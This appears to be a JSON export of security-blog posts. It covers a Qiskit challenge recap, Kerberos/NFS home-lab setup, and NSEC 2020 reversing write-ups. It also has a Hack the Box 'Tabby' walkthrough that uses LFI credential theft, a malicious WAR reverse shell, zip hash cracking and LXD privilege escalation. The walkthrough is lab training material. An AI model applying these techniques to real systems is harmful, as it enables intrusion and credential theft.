qc.u(pi/2,pi/4,pi,oracle) ## uncompute the 3rd and 4th clause winners to test the 5th and 6th (2nd quatuplet) ## unprepate aux[1] for the second set of checks. aux[0] doesn't change as it remains the same qc.u(pi/2,pi/4,pi,aux[1]) # uncompute aux1 using 3rd/4th clause items qc.cx(tile_qubits[det_clause[i][3]],aux[1]) qc.u(0,0,-pi/4,aux[1]) qc.cx(tile_qubits[det_clause[i][2]],aux[1]) qc.u(0,0,pi/4,aux[1]) qc.cx(tile_qubits[det_clause[i][3]],aux[1]) ### start of second quatuplet check. compute aux1 if 5th/6th items are on qc.cx(tile_qubits[det_clause[i][5]],aux[1]) qc.u(0,0,-pi/4,aux[1]) qc.cx(tile_qubits[det_clause[i][4]],aux[1]) qc.u(0,0,pi/4,aux[1]) qc.cx(tile_qubits[det_clause[i][5]],aux[1]) # prep aux1 and bring it back in line with aux0 for the check qc.u(pi/2,0,3*pi/4,aux[1]) # Second oracle check. Now using the new aux[1] # If both aux0,1 are on based on new phi angle, flip oracle qc.cx(aux[1],oracle) qc.u(0,0,-pi/4,oracle) qc.cx(aux[0],oracle) qc.u(0,0,pi/4,oracle) qc.cx(aux[1],oracle) # Now that both oracle checks are done, rotate oracle back, preserving \"flip\" if so qc.u(pi/2,0,3*pi/4,oracle) ### time to clean up and uncompute previous steps - for both aux this time # Start with aux0 qc.u(pi/2,pi/4,pi,aux[0]) qc.cx(tile_qubits[det_clause[i][1]],aux[0]) qc.u(0,0,-pi/4,aux[0]) qc.cx(tile_qubits[det_clause[i][0]],aux[0]) qc.u(0,0,pi/4,aux[0]) qc.cx(tile_qubits[det_clause[i][1]],aux[0]) qc.u(pi/2,0,3*pi/4,aux[0]) # Uncompute aux1 qc.u(pi/2,pi/4,pi,aux[1]) qc.cx(tile_qubits[det_clause[i][5]],aux[1]) qc.u(0,0,-pi/4,aux[1]) qc.cx(tile_qubits[det_clause[i][4]],aux[1]) qc.u(0,0,pi/4,aux[1]) qc.cx(tile_qubits[det_clause[i][5]],aux[1]) qc.u(pi/2,0,3*pi/4,aux[1]) #### At this point both aux qubits are completely uncomputed and oracle is flipped #### if either of the clauses are on. Preserved through rotation and oracle swap at the start A submission later and I managed to get down to 12k as a result! With that I was able to crack the top 25 submissions by close of the competition. Conclusion &amp; Recap What a ride. When comparing this to IBM's May event it was almost a night and day difference in difficulty. With that came added time to truly deep dive and I appreciated the opportunity to spend time (trying) to understand more fundamentally than \"make it work\". With that said there were a few things that bothered me throughout the final challenge. Firstly, I'm still not entirely sure if this was a coincidence or if there is a more fundamental reason as to why, but the careful observer might have noticed that I never initially set the negative phase to the two oracles. Regardless of if I set/unset the oracles phases (by using X/H gates) or did not, with a very small tweak I ended with same correct result, with different levels of amplification. I'd like to dig a bit deeper and understand if this was just a fluke, or if there some deeper meaning. Secondly the issues and restrictions with the grader were frustrating. If the grader wasn't working properly that is one thing, technical issues happen. The more frustrating aspect was having to constantly doubt myself that my approach was \"valid\". I still don't fully know either! The rules were not necessarily clear, and the restrictions on what we could do and not do limited my willingness to be more creative in certain aspects. Overall I really enjoyed the event. I learned a ridiculous amount over the three weeks! Even after the event closed I was still looking at my code and having discussions with other participants to continue that knowledge momentum. At the end of the day this is what it is all about - improving ourselves and pushing the envelop forward. Back in May I barely understood what was happening and managed to hobble through to completion. This time around, only a few months later, I understood enough to start diving into academic work and trying to apply it practically. I'm looking forward to dive deeper into certain topics I barely scraped the surface of and applying the new knowledge when the next Qiskit event rolls around! For anyone who is interested I put up my challenge notebooks on my Github Repo. Thanks folks, until next time!" }, { "title": "Hack the Box - Tabby", "url": "/hack-the-box/2020/11/08/htb-machine-tabby/", "categories": "hack-the-box", "tags": "htb, apache, lxd, lfi", "date": "2020-11-08 14:00:00 -0500", "content": "Introduction Tabby starts off with careful recon enumeration leveraging local file inclusion to harvest credentials then using those credentials to establish a foothold through Apache manager script usage. User escalation then came through a backup zip file encrypted with the user's system password, gathered by using zip2john. Lastly root privesc was achieved by leveraging LXD system container manager as the regular user was part of the lxd control group. Overall this was a fun box to get back into the swing of things after a couple months of hiatus and I learned a few tips and tricks along the way. Initial Recon Let's kick it off with an NMAP scan. kali@kali:~/Desktop/HTB$ nmap -sV -sC -p- 10.10.10.194 Starting Nmap 7.91 ( https://nmap.org ) at 2020-11-06 15:35 EST Nmap scan report for 10.10.10.194 Host is up (0.036s latency). Not shown: 65531 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 45:3c:34:14:35:56:23:95:d6:83:4e:26:de:c6:5b:d9 (RSA) | 256 89:79:3a:9c:88:b0:5c:ce:4b:79:b1:02:23:4b:44:a6 (ECDSA) |_ 256 1e:e7:b9:55:dd:25:8f:72:56:e8:8e:65:d5:19:b0:8d (ED25519) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: Mega Hosting 8080/tcp open http Apache Tomcat |_http-open-proxy: Proxy might be redirecting requests |_http-title: Apache Tomcat 8443/tcp open ssl/http LXD container manager REST API |_http-title: Site doesnt have a title (application/json). | ssl-cert: Subject: commonName=root@ghost/organizationName=linuxcontainers.org | Subject Alternative Name: DNS:ghost, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1 | Not valid before: 2020-06-16T13:34:28 |_Not valid after: 2030-06-14T13:34:28 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel A couple Apache instances, SSH, and an interesting REST API port for LXD. Let's start off with taking a look at the first Apache instance. Nothing too exciting on the page until we hit one of the tab redirects... Alright time to add the domain to our hosts file and retry. kali@kali:~/Desktop/HTB$ cat /etc/hosts 127.0.0.1 localhost 127.0.1.1 kali 10.10.10.194 megahosting.htb Well that's sure an interesting message. It also looks like it pulling a local file using file=. Seems like a prime LFI candidate. Let's see if we can pop out some information. Excellent, good progress so far. We learn that there is a user named ash. Unfortunately without a hint as to where to look there isn't much more progress that can be done here. Let's table the LFI for use later and move on to the other Apache instance under port 8080. Oh ho ho the pieces are starting to come together! By clicking on manager-webapp and host-manager webapp were are presented with Basic auth. With the additional information provided we also know the root structure is under /usr/share/tomcat9 and are also given the location of the credential file at /etc/tomcat9/tomcat-users.xml. We should be able to leverage our previous LFI capability to access the credentials! One thing to note here is the final location is not /etc/tomcat9/tomcat-users.xml as that location is relative to the base of the instance, which is under /usr/share/tomcat9 giving us an ultimate final location of /usr/share/tomcat9/etc/tomcat9/tomcat-users.xml. Sure enough we see the results come through our BURP listener when triggered. Other than the obvious user creds the interesting note is just above in the comments - specifically talking about the manager-gui role, which unfortunately our credentials don't possess. This may limit us, but one step at a time, let's log on and see what we can do. Sure enough as soon as we start going past the main page we start getting hit with the denial stick. We do have manager-script entitlements however, so we should in theory be able to run all these admin commands using curl calls. Let's take a quick look at the documentation and give that a shot. Perfect now if we keep reading through the documentation we see there is a possibility to upload our own WAR applications. We can create a malicious file using msvenom, upload it using our manager-script entitlements, and then all things running smoothly be able to trigger it at will. Only one way to find out if it works. Now let's see if it is actually there. All that is left is to trigger it with a local listener on 4444. User exploitation Now unfortunately we only have a foothold as the tomcat user and as such do not have access to the user flag (which we now confirm is ash by checking /home/ash). After some poking around we managed to find a backup zip file owned by ash. Popping that over to our host we see it is password protected. Seems as good an avenue as any to crack. We prep the hash file using zip2john and run that through our trusty rockyou list. Sure enough within a few seconds we find the password - admin@it. At this point the assumption was that ash used their own password to encrypt the zip. Let us see if we can pivot over using the new creds. Sure enough, user down! Root exploitation Time to bring all the remaining pieces together and finish this machine off. If we take a look at the original recon we remember there was an LXD Rest API running. You'll notice above that our user ash is also part of the lxd group. A quick online search and we find a privesc method using LXD and seems like a probable path. The theory behind this approach is essentially that since we have root access to containers created we can mount the host file system and leverage the container's root access to access any file we want. Following along with the instructions we get ourselves an Alpine image. We quickly pop that over to our local Apache instance and get it over to the host as ash. I had to go through an lxd init to get the environment on the host ready, however once completed everything worked like a charm. All that is left is to navigate to our mounted root location (/mnt/root) and proceed to the usual /root/root.txt location. And with that our journey with tabby comes to an end. After taking a few months off for various things ongoing this was a nice box to shake the rust off and get back into it. Thanks folks, until next time!" }, { "title": "Org-in-a-Box - Kerberos & NFS", "url": "/org-in-a-box/2020/09/01/org-in-a-box-kerberos-nfs/", "categories": "org-in-a-box", "tags": "org-in-a-box, authentication, kerberos, nfs", "date": "2020-09-01 14:00:00 -0400", "content": "Introduction The second post covering my personal project of an \"organization in a box\". Based on the initial architecture this article goes over partially setting up the first two authentication servers in the project leveraging MIT Kerberos and NFSv4. These hosts will serve as the base for the rest of the Org-in-a-Box project and a subsequent post will cover the LDAP and DBIS configuration on these hosts. Host Prep Work Before we start down the Kerberos and NFS path we have a bit of prep work to get done. The very first thing is setting a copy of Raspberry Pi OS installed on our Pis following the installation guide provided. Secondly, since I'm running with the headless version to cut back on resource usage we need to make sure to include a file on the SD card, aptly called \"ssh\", to ensure that SSH is enabled by default. In recent versions of the OS they disabled this service by default and in a headless setup becomes a pain to configure without having to play with HDMI cables. Since I opted for a proper Pi case with built in fans, we also need to make sure that the pin setup is attached to the board properly. Last but not least, once we have logged on the host for the first time we should go ahead and do an initial vanilla update to ensure we apply any available patches or new versions. sudo apt-get update &amp;&amp; sudo apt-get upgrade With that we can move on to the good stuff - getting Kerberos up and running. MIT Kerberos Most of the installation process is well documented under MIT's Kerberos 1.17 guide. While many sources of information were used MIT's guide served as the base. Let us start by getting the relevant 1.17 binaries installed. With no cold feet in sight, let's dive on in and create our PADRAIGNIX.COM Kerberos realm. Before we start creating new principals we also want to ensure we enable admin entitlements for our /admin accounts. We do this by uncommenting the line in kadm5.acl. Lastly we need to set up our kdc.conf file which serves as the main configuration for the service. Encryption types, ticket options such as renewable and forwadable, and KDC servers in our environment are all defined in this file. You'll also notice I cheated and put auth02 (which will be our replica KDC) as I knew I was going to be building that one shortly as well. With a quick service restart we confirm everything is up and running and we can start populating the Kerberos database. root@auth01:/etc# systemctl status krb5-kdc.service ● krb5-kdc.service - Kerberos 5 Key Distribution Center Loaded: loaded (/lib/systemd/system/krb5-kdc.service; enabled; vendor preset: enabled) Active: active (running) since Sun 2020-xx-xx xx:xx:xx EDT; xh xxmin ago Main PID: 472 (krb5kdc) Tasks: 1 (limit: 4915) CGroup: /system.slice/krb5-kdc.service └─472 /usr/sbin/krb5kdc -P /var/run/krb5-kdc.pid Alright, time to add myself, my /admin variant, and the auth01 host principal to our database. I should have configured policies prior to doing so, however I plan on going back later on and creating those to enforce password complexity and various other nuances. Since we don't have any principals at the moment we will use kadmin.local instead of kadmin to interact with the database. The difference between the two is that kadmin.local directly accesses the KDC database, while kadmin performs operations using kadmind - a kerberizes service. We will use kadmin to create the host key once our user principals are created. Excellent we now have our user, admin, and host principals created, so now what? Let's tie this in to the login authentication. The plan is to base our host login on principal/password combinations held within Kerberos, rather than the usual passwd/shadow method. Let's see if we can add a few quality of life items while we are at it as well. For our initial approach to work we will need to manually add our user to the host and the various groups required. This will not be the long term way of doing so as we will be leveraging LDAP and DBIS in the future. However, to get things started, let us get it done real quick. Now we have our local user padraignix, and we have a Kerberos principal padraignix, however if we tried to use the Kerberos password to assume the identity (su, ssh, etc.) we would see it fails with incorrect password. In fact, the local user does not even have a password set at the moment. What we will need to do is get an additional set of PAM libaries to help bridge that authentication for us. apt-get install libpam-krb5 What we aiming for is to start with Kerberos authentication and if that is successful, permit the login as well as get an initial ticket issued by the KDC. If it is not successful, then we default back to local Unix authentication without any Kerberos tickets. As an added bonus with the PAM configuration we have the ability to create a homedirectory on first login if it does not exist already - so let's select that option as well. Lessons Learned Section Unless you like to live dangerously make sure you are also leaving Unix authentication enabled. Without it, should you have any corruption with your Kerberos database or service, or if you're like me and you try to fit a square peg into a round hole and brick your host, you will not have the ability to get back on to fix whatever you broke. I have an out-of-band (OOB) account that I added to the hosts without a corresponding Kerberos principal. The plan was per the above if anything went wrong, I could log in without going through Kerberos and fix anything needed. However with that PAM option disabled this account became as useless as the host. With both Kerberos and Unix options selected the PAM configuration looks like the following - first attempting Kerberos and falling back to local auth if unsuccessful. Now all that is left is to log in as padraignix and see if it works. So far so good. Our password was accepted and the homedirectory was created on initial login. Now how about Kerberos tickets? Excellent! At this point we earned a quick breather... alright breather done. Time to move on to NFS! NFS With our Kerberos service running time to see if we can get NFSv4 working and secure it. Since this is generally a test infrastructure I choose a small form factor USB dongle as the eventual NFS share. The plan is to tie it together by not only leveraging Kerberos for the communication, but use the NFS share to create a shared /home space that our hosts will leverage. The first step was to get more information on our USB stick. Alright time to get it mounted normally. Unfortunately the stick was formatted FAT32 by default. To leverage it for our NFS purposes we will need to format it to ext4 so let's get that done. If we add the uuid to /etc/fstab we should be able to access it locally on the mounted host. Before we get fancy with our second host it would be a good idea to confirm everything is working so far post reboot. Great, time to bump up the difficulty! Starting off, we should ensure that only V4 is running as we want to enforce Kerberized security. Debian has a good NFS Server Guide that helped understand the various options and configurations we would need. To which we updated. To ensure owner and group information is available from client hosts the imapd service Mapping needs to be configured and running on the NFS server. Lastly on our first host, we need to create a new nfs Kerberos principal and add it to our host keytab. At this point we are automatically mounting /home from our USB stick locally on auth01. With the configuration work done above all that is left is to serve the share using NFS onthe LAN by configuring /etc/exports. There are three different Kerberos options for serving NFS. Debian has a good NFS Kerberos page that breaks down those options: krb5 Use Kerberos for authentication only. krb5i Use Kerberos for authentication, and include a hash with each transaction to ensure integrity. krb5p Use Kerberos for authentication, and encrypt all traffic between the client and server. Second Host I will skip over the initial setup as it was covered above. The only difference is that no new Kerberos realms are initialized on the second host, we only make sure the client utilities are available for now. From auth01 we will go ahead and create a new set of principals - a host principal and nfs principal for auth02. We will add them to a new keytab and send that keytab over to the host. With the keytab in place we should have everything needed to be able to mount our share. Let's try doing that manually. It took entirely too long to realize I was using sec=krb5 instead of sec=krb5p as described in the previous section. Once that hiccup was cleared I was able to get it mounted properly. pi@auth02:/$ sudo mount -t nfs4 -o sec=krb5 auth01.padraignix.com:/home /home mount.nfs4: Connection timed out pi@auth02:/$ sudo mount -t nfs4 -o sec=krb5p auth01.padraignix.com:/home /home pi@auth02:/$ ... well almost properly. The share IS mounted and the the location is R/W, however it seems there is something wrong with the ownership and groups. It took me a bit of reading to understand what was going on. Ultimately two things failed me here. First, I needed to have the same user and group information on auth02 as I did on auth01. This was simple, yet annoying, to fix and I was able to create my uid=1001 padraignix account locally on auth02. Manually creating accounts on various hosts sounds like it will be a messy, error-prone situation however and we will be solving this requirement further on with LDAP/DBIS. However for the moment, the second issue we had to fix once local accounts were created was the imapd service mapping. If you remember above when I covered the imapd configuration there was a [Mapping] section. Turns out we needed to make sure this was commented out to allow the service to serve the existing owners and groups. A quick modification and refresh on auth01... and then it looks much better on auth02! One more configuration successful. No time stop now however as there is one more aspect we want to address in this post - Kerberos replication. Kerberos Replication Alright last topic for this post. You would think that setting up replication between two Kerberos instances should be trivial compared to getting NFSv4 setup, however this proved to not be accurate. It was during this portion that my \"bricking\" situation happened. The first requirement is getting kpropd installed on both hosts. apt-get install krb5-kpropd Continuing with the Kerberos 1.17 guide process we create/add the replica KDC host principal to the Keytabs and subsequently add the primary KDC host principal to the replica's keytab. Then we follow up by copying over the following configuration files to auth02. krb5.conf kdc.conf kadm5.acl master key stash file Having manually started kpropd on the replica KDC I then attempted manually triggering a replication. This is the moment that started the unfortunate bricking situation started. root@auth01:/etc/krb5kdc# kdb5_util dump /var/tmp/replica_datatrans root@auth01:/etc/krb5kdc# ls -l /var/tmp/replica_datatrans -rw------- 1 root root 5460 Aug 30 12:10 /var/tmp/replica_datatrans root@auth01:/etc/krb5kdc# kprop -f /var/tmp/replica_datatrans auth02.padraignix.com kprop: Preauthentication failed while getting initial credentials That doesn't seem right... I took a look at the logs to see if I could make sense of it. What I came to understand was that there was a KVNO (Key version number) difference in my host keytabs. Unfortunately I did not figure this out before attempting to reboot auth01, which combined with the removal of the PAM Unix local auth configuration, essentially locked me out of the host. The irony was that the host was able to boot successfully and serve Kerberos requests from auth02 which made the decision to blow away 01 and start from scratch all the more painful. Thankfully my notes were detailed enough to go back through the entire process under an hour, so I will chalk it up as a valuable learning experience. With keytabs sorted out and everything back in working order it is time to re-attempt the manual sync. root@auth01:/etc# kprop -f /var/tmp/replica_datatrans auth02.padraignix.com Database propagation to auth02.padraignix.com: SUCCEEDED There we go! A quick test by commenting out the primary KDC from kdc.conf on auth02 and trigerring a kdestroy/kinit, confirmed by local logs on 02, was performed and successful. All that is left is to automate the process and make sure everything starts on boot properly. Step 1 is easy enough. Script up the replication process and add it as a cron job on auth01. root@auth01:/etc/krb5kdc# cat secondary-replication.sh #!/bin/sh kdb5_util dump /var/tmp/replica_datatrans kprop -f /var/tmp/replica_datatrans auth02.padraignix.com Another quick manual test to confirm it's working. Then adding the proper crontab entry to run this every 10 minutes. */10 * * * * /etc/krb5kdc/secondary-replication.sh Unfortunately there was one final complication before we close the book on this portion of the build. For a reason unknown at the time when auth02 was rebooted, the kpropd service would start in a failed state. It would try and start up, but end up in a failed stated. It took a bit of digging but I was able to narrow it down. Aug 30 15:34:19 auth02 kpropd[375]: ready Aug 30 15:34:19 auth02 systemd[1]: Started RPC security service for NFS server. Aug 30 15:34:19 auth02 systemd[1]: Started RPC security service for NFS client and server. Aug 30 15:34:19 auth02 systemd[1]: Reached target NFS client services. Aug 30 15:34:19 auth02 systemd[1]: Reached target Remote File Systems (Pre). Aug 30 15:34:19 auth02 kpropd[375]: getaddrinfo: Name or service not known Aug 30 15:34:19 auth02 systemd[1]: krb5-kpropd.service: Main process exited, code=exited, status=1/FAILURE Aug 30 15:34:19 auth02 systemd[1]: krb5-kpropd.service: Failed with result 'exit-code'. What ended up happening was kpropd attempted to start before the network and services were fully ready. I tried a few variations under Unit-&gt;After for the systemctl configuration, however defaulting back to tried and true ExecStartPre=sleep ended up working. And if we check systemctl we see that that the service did wait the 10 seconds and that it ultimately started successfully. Problem solved. Summary &amp; Next Steps There we go. Kerberos primary and secondaries, with replication, and NFSv4 leveraging krb5p done and dusted. Next step is to get LDAP and DBIS setup which will remove our manual user creation and propagation requirements. As always thanks folks, until next time!" }, { "title": "Org-in-a-Box - Architecture", "url": "/org-in-a-box/2020/07/23/org-in-a-box-architecture/", "categories": "org-in-a-box", "tags": "org-in-a-box, architecture, iam, raspberry pi, project", "date": "2020-07-23 10:00:00 -0400", "content": "Introduction &amp; Plans Years ago when I first started working with Identity and Access Management technology it was not originally by choice. I started my InfoSec career as a founding member of a local security team and we had to spread coverage across several security domains. As a result of all other founding members being more interested in network security I ended up being the main individual on the team focused on IAM components. Over the years I kept learning and growing in the role gaining an appreciation for IAM as a business enabler, cost reducer, and an underlying core component of most security and regulatory processes. As an effort to further my overall knowledge I have worked with various parts of IAM technology in my home lab. From installing OpenLDAP to explore schema creation, instance replication and general data structures, to standing up an MIT Kerberos instance to learn more about authentication flows over the wire, these experiments were always done in a standalone approach. While they were good in isolation for learning the specific technologies, there were missed opportunities to expand that knowledge from an overall infrastructure perspective. Over the last few months I have been toying with the idea of furthering these technology experiments into a single, functioning infrastructure that could emulate a small company or entity. In addition to expanding my knowledge of IAM component interoperability I also wanted to have fun with the concept. The overall structure would be limited to a single \"box\" and instead of the usual virtual server x86 architecture solution, I wanted to see if I could make this work on an arm based solution - Raspberry PIs. The initial hardware was acquired and the idea of \"Org-in-a-Box\" was born! So Why Do This? If I had to boil it down to a single word - learning. There is no underlying business driver or particular problem I am trying to solve in my home lab. That freedom is both a pro and a con as without a definitive end-goal I need to be very clear with my objectives otherwise this may become an endless loop through scope creep. That in itself is not necessarily a bad thing, however I would rather define a specific objective, complete it, review the implementation, evaluate, and create a new scope moving forward. You know, proper process and such... As has become common with my personal projects there is one additional reason for doing this - I expect to fail. It may sound weird however I fully expect to fail implementing components and the overall vision... at first. I tend to have a slightly sadistic nature where I will not walk away from the computer for essential activities, like sleeping, until I reach a logical stopping point where it makes sense and \"clicks\". This approach while not necessarily the healthiest in longer runs, allows me to struggle against a particular problem and learn the technology in-depth. With this project I am establishing an initial set of acceptance criteria that I fully expect to evolve as I work through the independent parts, struggle, learn, fail, and eventually solve the specific problem. As much as it can be frustrating that \"eureka\" moment of seeing those first successful logs is a thing of beauty and worth every second. Goals / Acceptance Criteria I originally listed out this section with fleshed out details of \"how\". In the interest of attempting to keep it simple and able to evolve as I run into failure I pulled back from that approach and focused more on the \"what\", leaving the specific implementation changeable. Centralized authentication Centralized identity management Proper logging system and dashboards Proper monitoring and alerting Some end user functionality platforms Initial Architecture The next step in the journey was to start putting an architecture plan together. I spent quite a bit of time reading various administrator guides, technical manuals, and other security blogs doing research on what could feasibly work and if folks had attempted various combinations with or without any complications along the way. Network Architecture Process Plan Logging Flow Standalone Proof-of-Concept I'll leave the complete installation and configuration of the Kerberos and LDAP instances to the next part of this series, however I wanted to add a sneak peak of standing up a POC test MIT Kerberos instance and configuring an Open LDAP instance to leverage Kerberos authentication. MIT Kerberos I set the initial Kerberos configuration to create the initial home directory and request Kerberos tickets on successful login. I was then able to successfully authenticate and acquire tickets from my Windows machine. The corresponding logs on the server are also included at the bottom of the request. OpenLDAP As a final preview let's quickly show OpenLDAP Kerberos authentication. Similar to above I'll leave the OpenLDAP installation and configuration for the next post. While I'll skip over how it was created for this post, here is a the result of querying my People record using an anonymous bind to the server. Now let us demonstrate a successful GSSAPI bind using ldapwhoami followed by repeating the query above, this time using Kerberos authentication instead of anonymous access. Summary I hope people reading this have had their interest peaked and follow along as I struggle through building up this environment. I will do my best to cover the installation, configuration, and interoperability between components, all while covering complications I run into throughout the process. As always thanks everyone, until next time!" }, { "title": "NSEC 2020 - Dreamcast", "url": "/reverse-engineering/2020/05/19/nsec2020-dreamcast/", "categories": "reverse-engineering", "tags": "nsec2020, ctf, reverse-engineering, ghidra, gdb, dreamcast, emulation", "date": "2020-05-19 10:00:00 -0400", "content": "Introduction As mentioned in my previous post I will be covering the two NSEC 2020 CTF Dreamcast challenges, my approaches, and solutions. As a fan of both reverse engineering and emulation in general as soon as I saw these challenges I immediately knew I wanted to tackle them. While I had a bit of background with earlier Chip8 and GameBoy architecture and basic emulation loops I was previously not familiar with the Dreamcast's SH-4 CPU architecture. As I will cover below I was initially confused by some of the decompilation output of the challenge ROMs, however after some further reading and analyzing the machine code directly rather than the incorrectly decompiled output I was able to make sense and finish the first challenge. The second challenge was similarly created and with the previous leg work done on the first challenge it took much less time to complete. Dreamcast Background The first thing to do was to familiarize myself with the architecture and how it all worked. The challenge provided 4 files, two .cdi files and two .elf files, one for both of the challenges, and a good 500 page document covering the Dreamcast's SH-4 CPU architecture. This included opcodes and generally any and all information one could want regarding the platform CPU from a hardware perspective. The challenge text also _strongly_ suggested using the reicast emulation software to run the provided ROMs. Unfortunately one the many complications involved in these challenges was simply getting the emulation working properly. Emulation Sadly the packaged reicast 20.04 release did not end up working for me. While there were quite a few forum posts and general troubleshooting articles out there none of them seemed to solve my particular issue. Determined to make this run on my Kali instance I opted to git clone the latest branch and compile my own version of the emulator. Thankfully after only a few minor dependency issues that I needed to resolve I was able to get the emulator started. One last configuration point before we get into actual solutions. Once I was able to get the emulator running I made sure to toggle the dump serial output to stdout. It is debatable whether this helped or not but I like to believe it helped understand a few parts later on. Challenge 1 With everything ready let's get that ROM finally loaded! Woot! Now that the pre-challenge is done we can finally start the real challenge! Alright so right off the bat this seems like a combination lock of sorts. If we enter any random old code to see how it behaves we get the following. Drat my completely logical \"031337\" did not work. It seems like we will need to dig a bit deeper. I found it suspicious that we were provided both .cdi and .elf files for the two challenges. It is at this point that I learned the difference between the two through this article. It seems that the elf file includes all the debugging symbols whereas the cdi files do not. This will be very important during the next few steps to understand what is going on at the code level. Let us open up ghidra and pop in that elf file to see what we can find. Immediately when looking at the function list we see some nice output. Definitely looks like we should be able to piece together the logic. Let's start with main. Looks like it may possibly be setting up the input digits and entering a graphics loop. Standard emulation workflow, got it. Let's dive into that graphics loop. Hum, not sure if this useful or not, but let's go one layer deeper into process_code. Now we're talking. Looks like it is pulling our digit_box_array, arguably the numbers we provide, and seems to compare them to some logic flow. If successful, we trigger _draw_flag however if any of the input comparisons fail we get redirected to _failure. Before we can start going through the logic check we need to step back and get one more vital piece of information - how the digitbox array stores value in memory. If we understand how that works we will be able to step through the processing logic. Hum, while it helps understand our left/right and up/down, no mention to memory itself. Again, let's go a level deeper. Excellent! So every each digit takes up 0x14 space. We now know the offset to work with. Unfortunately at this point is where I lost the majority of my time. Understanding the offset from above I tried to start going through the process check based on the decompilation. If we follow the logic provided we should have something along the lines of. 0x0 [0] - must be 1 0x14 [1] - must be 8 0x28 [2] - must be 0 0x3c [3] - must be less than 3 0x50 [4] - must not be 7 0x64 [5] - must not be 0 Try as I might, this combination, forwards, backwards was not working. After beating my head against the keyboard a bit I took a step back and looked at the machine code directly rather than decompilation. This was broken into two code chunks representing that first [0] = 1 then the subsequent logic seen in the decompiled while loop. Thanks to the handy SH-4 documentation provided we can actually understand what this all means! The first part to understand is the SH-4 T-bit. This is the register used to store results of comparisons and other operands and will help us determine our conditional branching logic. Going through the remainder of the code, the following were the relevant opcodes we need to understand. Putting it all together we come up with the following logic. Alright we can see why our previous attempts were not working. Seems the decompilation wasn't exactly accurate and gave us bad advice! With our proper understanding let's give \"171270\" a shot. That should satisfy all our parameters. Bam! There we go! Nothing more satisfying than your research and reading coming to fruition! We also get the flag dumped to console as an added bonus. Alright five second happy dance over, we still have another challenge to complete! Challenge 2 With everything primed and ready from the first challenge let's boot up the second ROM and see what we can find. Ok so very similar to previous challenge, just 5 digits instead of 6. With everything we just learned, let's pop the elf file into ghidra and see what we can find! Again, very similar the first challenge. We can skip forward a few steps and take a look at process_code as this will most likely be our interesting function. Hum...we learned our lesson previously with taking the decompilation at face value. Let's cut to the chase with the machine code. To understand the first three digits we need add a few new opcodes from before. If we follow along the first three digits need to be \"439\". The last two digits are a little more complex to understand as they ultimately interact with each other. At this point we need to introduce our last required opcode. Essentially, we either shift left or shift right on Rn based on Rm. This also explains why the decompilation provided an if/else statement with either shift left or right. At least the decompile got something right! In the context of our situation, the value of [3] is to be shifted by the value of [4] and the result must equal 8. I found it easier to visualize at this point. So if [3] = 1 and we shift it by the value of [4] = 3, which since is a positive value ends up performing a left shift, we end up with 1000 in binary, or 8. That brings our final solution to \"43913\". Let's see if our work pays off! Excellent! And again similar to the previous challenge our flag is also dumped to stdout. Summary What a ride! I learned about the SH-4 architecture, Dreamcast emulation in general, ROM debug symbols, and most importantly to never trust the decompiled code at face value! I really enjoyed every second of these challenges and look forward to dealing with future emulation based efforts! As always thanks folks, until next time!" }, { "title": "NSEC 2020 - Crackme", "url": "/reverse-engineering/2020/05/18/nsec2020-crackme/", "categories": "reverse-engineering", "tags": "nsec2020, reverse-engineering, ghidra, gdb, ctf", "date": "2020-05-18 10:00:00 -0400", "content": "Introduction With the ongoing craziness of Covid-19 this year's NSEC CTF was moved from its usual in-person venue to a fully online environment. Among the offerings were a series of crackme binary reverse-engineering challenges. With increasing difficulty, and not necessarily with the reversing portion itself, I was able to finish all 6 for my team. Follow along as I step through my solutions and add some personal comments. Crackme 0 Simply put, trivial. The first command I ran, strings, returned the flag. root@kali:~/Desktop/NSEC2020/cracks# strings crackme0 | grep FLAG FLAG-EwryMNYLi0fFvsM3 Crackme 1 While this challenge should have also been trivial, I decided to complicate my life and ignored the obvious - story of my life. Running strings against the binary did not return our flag as in crackme0, so I booted up ghidra and took a look at the code. Now a normal person would have seen that atoi then 0x539 comparison and quickly realized that the password was 1337. My mind decided to ignore that and approach it by loading the binary in gdb and seeing if I could bypass the check altogether. As I knew the offset to call the print_flag() was 957 and I knew the dynamic address space from the break at main I was able to jump directly to the function. Sometimes you are your own worst enemy. I ended up with the same result but definitely went about it in a more complicated way. Crackme 2 Now it's starting to get interesting. Crackme2 still wasn't too complicated but required analyzing the code to understand what the program was doing when processing your input. Unlike the previous examples we could not just jump to win since as we shall see the code was using our input to check the flag validity. I popped it into ghidra and started stepping through the logic, starting at main. Then if we look at compute_flag we notice it is first setting up a few variables then processing our input. Let's keep those variables in mind for later. So what can we tell at this point? It looks like the program takes the following steps: Base64 encodes our input Checks that the b64 encoded length is 20 characters - otherwise prints unauthorized Iterates through the previously initialized variables Compares the variables with our B64 input char by char - printing unauthorized if it doesn’t match. Excellent, so we should be able to recreate the base64 string and decode it, which should give us the required password. Crackme 3 Here be dragons! The previous crackmes were all x86-64 architecture compiled binaries. Now we're moving into MIPS64 architecture and with that we have a new set of issues to deal through. Unfortunately since we are not running on a MIPS system, when we attempt to execute the binary. padraig@kali:~/Desktop/NSEC2020/cracks$ ./crackme3 bash: ./crackme3: cannot execute binary file: Exec format error Side note: the next part was completely unnecessary to finish the challenge, however I wanted to get my environment working rather than just complete the challenge. After some background reading of this article I understood what I needed to be able to run the program. Install qemu to emulate various architectures Install the mips64 libraries Link our library to be used by the emulator Alright, we got this! sudo apt-get install qemu qemu-user qemu-user-static sudo apt-get install libc6-mips64-cross ln -s /usr/mips64-linux-gnuabi64/lib64/ld.so.1 /lib64/ld.so.1 Then if we give it a shot. root@kali:~/Desktop/NSEC2020/cracks# qemu-mips64 crackme3 crackme3: error while loading shared libraries: libc.so.6: cannot open shared object file: No such file or directory Almost... Let's add one more linking. sudo ln -s /usr/mips64-linux-gnuabi64/lib/libc.so.6 /lib/mips64-linux-gnuabi64/libc.so.6 root@kali:~/Desktop/NSEC2020/cracks# ./crackme3 Computing secret... Done! Excellent! It does seem like we will need to take a look under the hood as the binary isn't asking for any input nor providing us with any meaningful output. It IS running however and I will take the minor win in getting this setup done... for now at least. If we load the binary into ghidra and take a poke at main we notice something interesting. So what do we see? The program is initializing a string of 'A' characters. 